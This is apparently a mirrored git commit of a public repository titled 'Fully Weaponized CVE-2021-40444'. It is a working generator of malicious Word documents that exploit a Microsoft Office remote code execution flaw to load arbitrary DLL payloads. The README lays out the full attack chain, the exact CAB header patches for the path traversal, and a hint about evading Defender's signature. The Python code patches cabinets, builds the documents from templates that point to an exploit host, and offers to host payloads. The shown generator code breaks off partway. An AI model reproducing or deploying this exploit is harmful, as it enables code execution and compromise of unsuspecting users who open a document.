mirror of
https://github.com/klezVirus/CVE-2021-40444.git
synced 2024-11-25 06:30:47 +00:00
First Release
This commit is contained in:
commit
f2090f1d70
18 changed files with 778 additions and 0 deletions
8
.gitignore
vendored
Normal file
8
.gitignore
vendored
Normal file
|
@ -0,0 +1,8 @@
|
||||||
|
venv
|
||||||
|
out
|
||||||
|
test
|
||||||
|
srv
|
||||||
|
template/sample4-nw.html
|
||||||
|
!srv/index.html
|
||||||
|
.idea
|
||||||
|
__pycache__
|
98
README.md
Normal file
98
README.md
Normal file
|
@ -0,0 +1,98 @@
|
||||||
|
# Fully Weaponized CVE-2021-40444
|
||||||
|
|
||||||
|
Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution), works with arbitrary DLL files.
|
||||||
|
|
||||||
|
# Background
|
||||||
|
|
||||||
|
Although many PoC are already around the internet, I guessed to give myself a run to weaponizing this vulnerability,
|
||||||
|
as what I found available lacked valuable information that it's worth sharing, also considering Microsoft already
|
||||||
|
released a patch for this vulnerability.
|
||||||
|
|
||||||
|
So far, the only valuable resources I've seen to create a fully working generator are:
|
||||||
|
* [Blog by Ret2Pwn](https://xret2pwn.github.io//CVE-2021-40444-Analysis-and-Exploit/)
|
||||||
|
* [Twit by j00sean](https://twitter.com/j00sean/status/1437390861499838466)
|
||||||
|
|
||||||
|
The above resources outline a lot of the requirements needed to create a full chain. As I do not desire
|
||||||
|
|
||||||
|
### Chain
|
||||||
|
* Docx opened
|
||||||
|
* Relationship stored in document.xml.rels points to malicious html
|
||||||
|
* IE preview is launched to open the HTML link
|
||||||
|
* JScript within the HTML contains an object pointing to a CAB file, and an iframe pointing to an INF file,
|
||||||
|
prefixed with the ".cpl:" directive
|
||||||
|
* The cab file is opened, the INF file stored in the %TEMP%\Low directory
|
||||||
|
* Due to a Path traversal (ZipSlip) vulnerability in the CAB, it's possible to store the INF in %TEMP%
|
||||||
|
* Then, the INF file is opened with the ".cpl:" directive, causing the side-loading of the INF file via rundll32
|
||||||
|
(if this is a DLL)
|
||||||
|
|
||||||
|
### Overlooked Requirements
|
||||||
|
|
||||||
|
There are quite a bit of overlooked requirements for this exploit to work, which caused even good PoCs, like
|
||||||
|
[the one by lockedbyte](https://github.com/lockedbyte/CVE-2021-40444), to fail working properly.
|
||||||
|
|
||||||
|
Maybe nobody explicitly "released" them to avoid the vulnerability to be exploited more. But now it's patched,
|
||||||
|
so it should not cause a lot of troubles to release the details.
|
||||||
|
|
||||||
|
#### CAB File
|
||||||
|
|
||||||
|
The CAB file needs to be byte-patched to avoid extraction errors and to achieve the ZipSlip:
|
||||||
|
* filename.inf should become ../filename.inf
|
||||||
|
* filename.inf should be exactly <12-char>.inf
|
||||||
|
* CFFOLDER.TypeCompress should be 0 (not compressed)
|
||||||
|
* CFFOLDER.CoffCabStart should be increased by 3
|
||||||
|
* CFFOLDER.cCfData: should be 2
|
||||||
|
* CFFile.CbFile should be greater than the whole CFHeader CbCabinet
|
||||||
|
* CFDATA.csum should be recalculated (or zeroed out)
|
||||||
|
|
||||||
|
The reason for these constraints are many, and I didn't spend enough time to deeply understand all of them, but
|
||||||
|
let's see the most important:
|
||||||
|
|
||||||
|
* TypeCompress: If the CAB is compressed, the trick to open it within an object file to trigger the INF write will fail
|
||||||
|
* CoffCabStart: CoffCabStart gives the absolute position of the first CFDATA structure, as we added a '../',
|
||||||
|
we would need to increase this by 3 to point to the file (this is more like a guess)
|
||||||
|
* cCfData: As there is only 1 file, we should have just 1 CFDATA, I'm not too sure why this has to be set to 2
|
||||||
|
* cbFile: Interestingly, if the CAB extraction concludes without any error, the INF file will be marked for deletion
|
||||||
|
by WORD, ruining the exploit. The only way to prevent this is to make WORD believe the extraction failed. If the
|
||||||
|
cbFile value is defined as greater than the cabinet file itself, the extractor will reach an EOF before reading
|
||||||
|
all the bytes defined in cbFile, raising an extraction error.
|
||||||
|
* Last but not least, the csum value should be recalculated. Luckily, as noted by [j00sean](https://twitter.com/j00sean)
|
||||||
|
and according to [MS documentation](http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf),
|
||||||
|
this value can be 0
|
||||||
|
|
||||||
|
NOTE: Defender now detects the CAB file using the `_IMAGE_DOS_HEADER.e_magic` value as a signature, potentially avoiding
|
||||||
|
PE files to be embedded in the CAB. Can this signature be bypassed? As observed before, this is a patched vulnerability,
|
||||||
|
so I'm not planning to release anything more complex than this. Up to the curious reader to develop this further.
|
||||||
|
|
||||||
|
# CAB file parser
|
||||||
|
|
||||||
|
The utility `cab_parser.py` can be used to see the headers of the exploit file, but don't consider this a full
|
||||||
|
parser. It's a very quick and dirty CAB header viewer I developed to understand what was going on.
|
||||||
|
|
||||||
|
# Usage
|
||||||
|
|
||||||
|
The generator is trivial to use, and has been tested with a number of different DLL payloads.
|
||||||
|
|
||||||
|
```
|
||||||
|
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-p LPORT] [-c COPY_TO]
|
||||||
|
|
||||||
|
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
|
||||||
|
|
||||||
|
optional arguments:
|
||||||
|
-h, --help show this help message and exit
|
||||||
|
-P PAYLOAD, --payload PAYLOAD
|
||||||
|
DLL payload to use for the exploit
|
||||||
|
-u URL, --url URL Server URL for malicious references (CAB->INF)
|
||||||
|
-o OUTPUT, --output OUTPUT
|
||||||
|
Output files basename (no extension)
|
||||||
|
--host If set, will host the payload after creation
|
||||||
|
-p LPORT, --lport LPORT
|
||||||
|
Port to use when hosting malicious payload
|
||||||
|
-c COPY_TO, --copy-to COPY_TO
|
||||||
|
Copy payload to an alternate path
|
||||||
|
```
|
||||||
|
|
||||||
|
# Credits
|
||||||
|
|
||||||
|
* [RET2_pwn](https://twitter.com/RET2_pwn) for the amazing blog
|
||||||
|
* [j00sean](https://twitter.com/j00sean) for the good hints
|
||||||
|
* [lockedbyte](https://github.com/lockedbyte/CVE-2021-40444) for the first decent poc
|
210
cab_parser.py
Normal file
210
cab_parser.py
Normal file
|
@ -0,0 +1,210 @@
|
||||||
|
import sys
|
||||||
|
from struct import pack, unpack
|
||||||
|
|
||||||
|
|
||||||
|
class CabFormatError(Exception):
|
||||||
|
def __init__(self, msg):
|
||||||
|
super().__init__(msg)
|
||||||
|
|
||||||
|
|
||||||
|
class PatchLengthError(Exception):
|
||||||
|
def __init__(self, msg):
|
||||||
|
super().__init__(msg)
|
||||||
|
|
||||||
|
|
||||||
|
class Cab:
|
||||||
|
def __init__(self, data):
|
||||||
|
self.CFHEADER = CFHeader(data)
|
||||||
|
self.CFFOLDER = CFFolder(data)
|
||||||
|
self.CFFILE = CFFile(data)
|
||||||
|
self.CFFDATA = CFFData(data, start=self.CFFILE.end_offset)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def seek_null(data, start=0, chunk_size=24):
|
||||||
|
chunk = data[start:start + chunk_size]
|
||||||
|
index = chunk.find(b"\x00")
|
||||||
|
return start + index if index > 0 else -1
|
||||||
|
|
||||||
|
def change_set_id(self, value: int):
|
||||||
|
self.CFHEADER.setID = value
|
||||||
|
|
||||||
|
def zero_out_signature(self):
|
||||||
|
self.CFFDATA.csum = 0
|
||||||
|
|
||||||
|
def change_coff_cab_start(self, value: int):
|
||||||
|
self.CFFOLDER.coffCabStart = value
|
||||||
|
|
||||||
|
def change_ccfdata_count(self, value: int):
|
||||||
|
self.CFFOLDER.cCFData = value
|
||||||
|
|
||||||
|
def change_cffile_cbfile(self, value: int):
|
||||||
|
self.CFFILE.cbFile = value
|
||||||
|
|
||||||
|
def make_file_read_only(self):
|
||||||
|
self.CFFILE.attribs |= 0x1
|
||||||
|
self.CFFILE.attribs |= 0x2
|
||||||
|
self.CFFILE.attribs |= 0x4
|
||||||
|
|
||||||
|
def change_bytes(self, offset, size, value):
|
||||||
|
if len(value) < size:
|
||||||
|
raise PatchLengthError
|
||||||
|
_bytes = bytearray(self.to_bytes())
|
||||||
|
_bytes[offset:offset + size] = value[:size]
|
||||||
|
return bytes(_bytes)
|
||||||
|
|
||||||
|
def to_string(self):
|
||||||
|
return rf"""
|
||||||
|
CFHeader: {self.CFHEADER.to_string()}
|
||||||
|
CFFolder: {self.CFFOLDER.to_string()}
|
||||||
|
CFFile: {self.CFFILE.to_string()}
|
||||||
|
CFFData: {self.CFFDATA.to_string()}
|
||||||
|
"""
|
||||||
|
|
||||||
|
def to_bytes(self):
|
||||||
|
return self.CFHEADER.to_bytes() + self.CFFOLDER.to_bytes() + self.CFFILE.to_bytes() + self.CFFDATA.to_bytes()
|
||||||
|
|
||||||
|
|
||||||
|
class CFHeader:
|
||||||
|
def __init__(self, data):
|
||||||
|
self.raw = data[:24]
|
||||||
|
self.signature_display = data[:4].decode()
|
||||||
|
self.signature = unpack("BBBB", data[:4])
|
||||||
|
if self.signature_display != "MSCF":
|
||||||
|
raise CabFormatError("Unknown signature")
|
||||||
|
self.reserved1 = unpack("<I", data[4:8])[0]
|
||||||
|
self.cbCabinet = unpack("<I", data[0x8:0xC])[0]
|
||||||
|
self.reserved2 = unpack("<I", data[0xC:0x10])[0]
|
||||||
|
self.coffFiles = unpack("<I", data[0x10:0x14])[0]
|
||||||
|
self.reserved3 = unpack("<I", data[0x14:0x18])[0]
|
||||||
|
self.versionMajor, self.versionMinor = unpack("BB", data[0x18:0x1A])
|
||||||
|
self.cFolders = unpack("H", data[0x1A:0x1C])[0]
|
||||||
|
self.cFiles = unpack("H", data[0x1C:0x1E])[0]
|
||||||
|
self.flags = unpack("H", data[0x1E:0x20])[0]
|
||||||
|
self.setID = unpack("H", data[0x20:0x22])[0]
|
||||||
|
self.iCabinet = unpack("H", data[0x22:0x24])[0]
|
||||||
|
|
||||||
|
def to_bytes(self):
|
||||||
|
_to_bytes = pack("BBBB", self.signature[0], self.signature[1], self.signature[2], self.signature[3])
|
||||||
|
_to_bytes += pack("<I", self.reserved1)
|
||||||
|
_to_bytes += pack("<I", self.cbCabinet)
|
||||||
|
_to_bytes += pack("<I", self.reserved2)
|
||||||
|
_to_bytes += pack("<I", self.coffFiles)
|
||||||
|
_to_bytes += pack("<I", self.reserved3)
|
||||||
|
_to_bytes += pack("B", self.versionMajor)
|
||||||
|
_to_bytes += pack("B", self.versionMinor)
|
||||||
|
_to_bytes += pack("H", self.cFolders)
|
||||||
|
_to_bytes += pack("H", self.cFiles)
|
||||||
|
_to_bytes += pack("H", self.flags)
|
||||||
|
_to_bytes += pack("H", self.setID)
|
||||||
|
_to_bytes += pack("H", self.iCabinet)
|
||||||
|
return _to_bytes
|
||||||
|
|
||||||
|
def to_string(self):
|
||||||
|
return rf"""
|
||||||
|
Signature: {self.signature_display}
|
||||||
|
Reserved1: {self.reserved1}
|
||||||
|
CbCabinet: {self.cbCabinet}
|
||||||
|
Reserved2: {self.reserved2}
|
||||||
|
CoffFiles: {self.coffFiles}
|
||||||
|
Reserved3: {self.reserved3}
|
||||||
|
Version: {self.versionMajor}.{self.versionMinor}
|
||||||
|
CFolders: {self.cFolders}
|
||||||
|
CFiles: {self.cFiles}
|
||||||
|
Flags: {self.flags}
|
||||||
|
SetID: {self.setID}
|
||||||
|
ICabinet: {self.iCabinet}
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
class CFFolder:
|
||||||
|
def __init__(self, data):
|
||||||
|
self.raw = data[0x24:0x2B]
|
||||||
|
self.coffCabStart = unpack("<I", data[0x24:0x28])[0]
|
||||||
|
self.cCFData = unpack("H", data[0x28:0x2A])[0]
|
||||||
|
self.typeCompress = unpack("H", data[0x2A:0x2C])[0]
|
||||||
|
|
||||||
|
def to_bytes(self):
|
||||||
|
_to_bytes = pack("<I", self.coffCabStart)
|
||||||
|
_to_bytes += pack("H", self.cCFData)
|
||||||
|
_to_bytes += pack("H", self.typeCompress)
|
||||||
|
return _to_bytes
|
||||||
|
|
||||||
|
def to_string(self):
|
||||||
|
return rf"""
|
||||||
|
CoffCabStart: {self.coffCabStart}
|
||||||
|
CCFData: {self.cCFData}
|
||||||
|
TypeCompress: {self.typeCompress}
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
class CFFile:
|
||||||
|
def __init__(self, data):
|
||||||
|
self.raw = data[0x2C:0x44]
|
||||||
|
self.cbFile = unpack("<I", data[0x2C:0x30])[0]
|
||||||
|
self.uoffFolderStart = unpack("<I", data[0x30:0x34])[0]
|
||||||
|
self.iFolder = unpack("H", data[0x34:0x36])[0]
|
||||||
|
self.date = unpack("H", data[0x36:0x38])[0]
|
||||||
|
self.time = unpack("H", data[0x38:0x3A])[0]
|
||||||
|
self.attribs = unpack("H", data[0x3A:0x3C])[0]
|
||||||
|
self.end_offset = Cab.seek_null(data, start=0x3C + 0x1, chunk_size=128) + 1
|
||||||
|
self.szName = data[0x3C:self.end_offset].decode()
|
||||||
|
|
||||||
|
def to_bytes(self):
|
||||||
|
_to_bytes = pack("<I", self.cbFile)
|
||||||
|
_to_bytes += pack("<I", self.uoffFolderStart)
|
||||||
|
_to_bytes += pack("H", self.iFolder)
|
||||||
|
_to_bytes += pack("H", self.date)
|
||||||
|
_to_bytes += pack("H", self.time)
|
||||||
|
_to_bytes += pack("H", self.attribs)
|
||||||
|
_to_bytes += self.szName.encode()
|
||||||
|
return _to_bytes
|
||||||
|
|
||||||
|
def to_string(self):
|
||||||
|
return rf"""
|
||||||
|
CbFile: {self.cbFile}
|
||||||
|
UoffFolderStart: {self.uoffFolderStart}
|
||||||
|
IFolder: {self.iFolder}
|
||||||
|
Date: {self.date}
|
||||||
|
Time: {self.time}
|
||||||
|
Attribs: {self.attribs}
|
||||||
|
SzName: {self.szName}
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
class CFFData:
|
||||||
|
def __init__(self, data, start):
|
||||||
|
self.raw = data[start:]
|
||||||
|
self.csum = unpack("<I", data[start:start + 4])[0]
|
||||||
|
self.cbData = unpack("H", data[start + 4:start + 6])[0]
|
||||||
|
self.cbUncomp = unpack("H", data[start + 6:start + 8])[0]
|
||||||
|
self.ab_display = data[start + 8:start + 18] + data[-10:]
|
||||||
|
self.ab = self.raw[8:]
|
||||||
|
|
||||||
|
def to_bytes(self):
|
||||||
|
_to_bytes = pack("<I", self.csum)
|
||||||
|
_to_bytes += pack("H", self.cbData)
|
||||||
|
_to_bytes += pack("H", self.cbUncomp)
|
||||||
|
_to_bytes += self.raw[8:]
|
||||||
|
return _to_bytes
|
||||||
|
|
||||||
|
def to_string(self):
|
||||||
|
return rf"""
|
||||||
|
Checksum: {self.csum}
|
||||||
|
CbData: {self.cbData}
|
||||||
|
CbUncompressed: {self.cbUncomp}
|
||||||
|
Ab: {self.ab_display}
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def parse(file):
|
||||||
|
data = open(file, "rb").read()
|
||||||
|
cab = Cab(data=data)
|
||||||
|
print(cab.to_string())
|
||||||
|
new_cab = cab.change_bytes(offset=0x58, size=4, value=b"MZ\x90\x00")
|
||||||
|
print(Cab(new_cab).to_string())
|
||||||
|
with open(file, "wb") as out:
|
||||||
|
out.write(Cab(new_cab).to_bytes())
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
parse(file=sys.argv[1])
|
2
data/word_dat/[Content_Types].xml
Normal file
2
data/word_dat/[Content_Types].xml
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="jpeg" ContentType="image/jpeg"/><Default Extension="wmf" ContentType="image/x-wmf"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
|
2
data/word_dat/_rels/.rels
Normal file
2
data/word_dat/_rels/.rels
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>
|
2
data/word_dat/docProps/app.xml
Normal file
2
data/word_dat/docProps/app.xml
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal</Template><TotalTime>34</TotalTime><Pages>1</Pages><Words>206</Words><Characters>1176</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>9</Lines><Paragraphs>2</Paragraphs><ScaleCrop>false</ScaleCrop><Company>Consumers Association</Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>1380</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>16.0000</AppVersion></Properties>
|
2
data/word_dat/docProps/core.xml
Normal file
2
data/word_dat/docProps/core.xml
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><dc:creator>Microsoft</dc:creator><dc:description></dc:description><cp:lastModifiedBy>user</cp:lastModifiedBy><cp:revision>6</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2013-10-31T15:25:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2021-08-31T16:47:00Z</dcterms:modified><dc:language>en-US</dc:language></cp:coreProperties>
|
2
data/word_dat/word/_rels/document.xml.rels
Normal file
2
data/word_dat/word/_rels/document.xml.rels
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:<EXPLOIT_HOST_HERE>!x-usc:<EXPLOIT_HOST_HERE>" TargetMode="External"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image2.wmf"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.jpeg"/></Relationships>
|
2
data/word_dat/word/document.xml
Normal file
2
data/word_dat/word/document.xml
Normal file
File diff suppressed because one or more lines are too long
2
data/word_dat/word/fontTable.xml
Normal file
2
data/word_dat/word/fontTable.xml
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<w:fonts xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16cid="http://schemas.microsoft.com/office/word/2016/wordml/cid" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" mc:Ignorable="w14 w15 w16se w16cid"><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002EFF" w:usb1="C000247B" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Trebuchet MS"><w:panose1 w:val="020B0603020202020204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="00000687" w:usb1="00000000" w:usb2="00000000" w:usb3="00000000" w:csb0="0000009F" w:csb1="00000000"/></w:font><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002EFF" w:usb1="C000785B" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="OpenSymbol"><w:altName w:val="Cambria"/><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Liberation Sans"><w:altName w:val="Arial"/><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Droid Sans Fallback"><w:panose1 w:val="00000000000000000000"/><w:charset w:val="00"/><w:family w:val="roman"/><w:notTrueType/><w:pitch w:val="default"/></w:font><w:font w:name="Droid Sans Devanagari"><w:altName w:val="Segoe UI"/><w:panose1 w:val="00000000000000000000"/><w:charset w:val="00"/><w:family w:val="roman"/><w:notTrueType/><w:pitch w:val="default"/></w:font><w:font w:name="Cambria"><w:panose1 w:val="02040503050406030204"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E00006FF" w:usb1="420024FF" w:usb2="02000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font></w:fonts>
|
2
data/word_dat/word/settings.xml
Normal file
2
data/word_dat/word/settings.xml
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<w:settings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16cid="http://schemas.microsoft.com/office/word/2016/wordml/cid" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" mc:Ignorable="w14 w15 w16se w16cid"><w:zoom w:percent="100"/><w:proofState w:spelling="clean" w:grammar="clean"/><w:defaultTabStop w:val="720"/><w:autoHyphenation/><w:characterSpacingControl w:val="doNotCompress"/><w:compat><w:compatSetting w:name="compatibilityMode" w:uri="http://schemas.microsoft.com/office/word" w:val="14"/><w:compatSetting w:name="overrideTableStyleFontSizeAndJustification" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="enableOpenTypeFeatures" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="doNotFlipMirrorIndents" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="useWord2013TrackBottomHyphenation" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/></w:compat><w:rsids><w:rsidRoot w:val="00642844"/><w:rsid w:val="00642844"/><w:rsid w:val="007E0FA4"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="0"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:themeFontLang w:val="en-US" w:eastAsia="" w:bidi=""/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:shapeDefaults><o:shapedefaults v:ext="edit" spidmax="1026"/><o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout></w:shapeDefaults><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/><w14:docId w14:val="74811FD2"/><w15:docId w15:val="{9951342C-DC33-4E0E-84C6-943EC8FBAAD2}"/></w:settings>
|
2
data/word_dat/word/styles.xml
Normal file
2
data/word_dat/word/styles.xml
Normal file
File diff suppressed because one or more lines are too long
2
data/word_dat/word/theme/theme1.xml
Normal file
2
data/word_dat/word/theme/theme1.xml
Normal file
File diff suppressed because one or more lines are too long
2
data/word_dat/word/webSettings.xml
Normal file
2
data/word_dat/word/webSettings.xml
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16cid="http://schemas.microsoft.com/office/word/2016/wordml/cid" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" mc:Ignorable="w14 w15 w16se w16cid"/>
|
222
generator.py
Normal file
222
generator.py
Normal file
|
@ -0,0 +1,222 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# Microsoft Office Remote Code Execution Exploit via Logical Bug
|
||||||
|
# Result is ability for attackers to execute arbitrary custom DLL's
|
||||||
|
# downloaded and executed on target system
|
||||||
|
import argparse
|
||||||
|
import binascii
|
||||||
|
import random
|
||||||
|
import re
|
||||||
|
import shutil
|
||||||
|
import string
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import traceback
|
||||||
|
from pathlib import Path
|
||||||
|
from cab_parser import Cab
|
||||||
|
from in_place import InPlace
|
||||||
|
|
||||||
|
|
||||||
|
def patch_cab(path: Path, original_inf_path, patched_inf_path):
|
||||||
|
with InPlace(str(path.absolute()), mode="b") as out_cab:
|
||||||
|
cab = Cab(out_cab.read())
|
||||||
|
print(" [*] Setting setID to 1234")
|
||||||
|
cab.change_set_id(1234)
|
||||||
|
print(" [*] Setting CFFolder.coffCabStart to 80")
|
||||||
|
cab.change_coff_cab_start(80)
|
||||||
|
print(" [*] Setting CFFolder.CCFData to 2")
|
||||||
|
cab.change_ccfdata_count(2)
|
||||||
|
size = struct.unpack("<I", b"\x00\x22\x44\x00")[0]
|
||||||
|
print(f" [*] Setting CFFile.CbFile to {size}")
|
||||||
|
cab.change_cffile_cbfile(size)
|
||||||
|
print(" [*] Making INF file read only")
|
||||||
|
cab.make_file_read_only()
|
||||||
|
print(" [*] Zeroing out Checksum")
|
||||||
|
cab.zero_out_signature()
|
||||||
|
out_cab.write(cab.to_bytes())
|
||||||
|
|
||||||
|
with InPlace(str(path.absolute()), mode="b") as out_cab:
|
||||||
|
content = out_cab.read()
|
||||||
|
content = content.replace(original_inf_path, patched_inf_path)
|
||||||
|
print(f" [*] Patching path '{original_inf_path.decode()}' to '{patched_inf_path.decode()}'")
|
||||||
|
out_cab.write(content)
|
||||||
|
|
||||||
|
|
||||||
|
def make_ddf(ddf_file: Path, cab_file: Path, inf_file: Path):
|
||||||
|
# We need to generate a DDF file for makecab to work properly
|
||||||
|
# CabinetNameTemplate = Basename of the cab file
|
||||||
|
# DiskDirectoryTemplate = Directory where the cab file will be
|
||||||
|
with open(str(ddf_file.absolute()), "w") as ddf:
|
||||||
|
ddf.write(rf""".OPTION EXPLICIT
|
||||||
|
.Set CabinetNameTemplate={cab_file.name}
|
||||||
|
.set DiskDirectoryTemplate={cab_file.parent.name}
|
||||||
|
.Set CompressionType=MSZIP
